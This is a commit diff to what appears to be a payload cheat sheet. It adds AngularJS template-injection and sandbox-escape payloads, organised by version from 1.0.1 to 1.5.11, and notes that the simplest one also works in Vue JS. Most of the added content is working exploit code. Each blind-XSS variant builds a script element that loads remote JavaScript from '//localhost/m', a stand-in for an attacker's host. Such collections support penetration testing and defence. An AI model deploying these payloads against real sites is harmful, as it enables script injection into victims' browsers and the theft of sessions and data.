Blind XSS Angular JS

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Swissky 2018-12-24 15:09:43 +01:00
parent a6475a19d9
commit c25af52316

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@ -1,5 +1,7 @@
# XSS in Angular
## Stored/Reflected XSS - Simple alert
> Angular as of version 1.6 have removed the sandbox altogether
Angular 1.6+ by [Mario Heiderich](https://twitter.com/cure53berlin)
@ -137,16 +139,116 @@ Angular 1.2.0 - 1.2.1
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
```
Angular 1.0.1 - 1.1.5
Angular 1.0.1 - 1.1.5 and Vue JS
```javascript
{{constructor.constructor('alert(1)')()}}
```
Vue JS
## Blind XSS
1.0.1 - 1.1.5 && > 1.6.0 by Mario Heiderich (Cure53)
```javascript
{{constructor.constructor('alert(1)')()}}
{{
constructor.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()
}}
```
Shorter 1.0.1 - 1.1.5 && > 1.6.0 by Lewis Ardern (Synopsys) and Gareth Heyes (PortSwigger)
```javascript
{{
$on.constructor("var _ = document.createElement('script');
_.src='//localhost/m';
document.getElementsByTagName('body')[0].appendChild(_)")()
}}
```
1.2.0 - 1.2.5 by Gareth Heyes (PortSwigger)
```javascript
{{
a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')
}}
```
1.2.6 - 1.2.18 by Jan Horn (Cure53, now works at Google Project Zero)
```javascript
{{
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("
var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")')()
}}
```
1.2.19 (FireFox) by Mathias Karlsson
```javascript
{{
toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a",'eval("var _ = document.createElement(\'script\');
_.src=\'//localhost/m\';
document.getElementsByTagName(\'body\')[0].appendChild(_)")'].sort(toString.constructor);
}}
```
1.2.20 - 1.2.29 by Gareth Heyes (PortSwigger)
```javascript
{{
a="a"["constructor"].prototype;a.charAt=a.trim;
$eval('a",eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),"')
}}
```
1.3.0 - 1.3.9 by Gareth Heyes (PortSwigger)
```javascript
{{
a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),a')
}}
```
1.4.0 - 1.5.8 by Gareth Heyes (PortSwigger)
```javascript
{{
a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`var _=document.createElement(\'script\');
_.src=\'//localhost/m\';document.body.appendChild(_);`),a')
}}
```
1.5.9 - 1.5.11 by Jan Horn (Cure53, now works at Google Project Zero)
```javascript
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
```
## References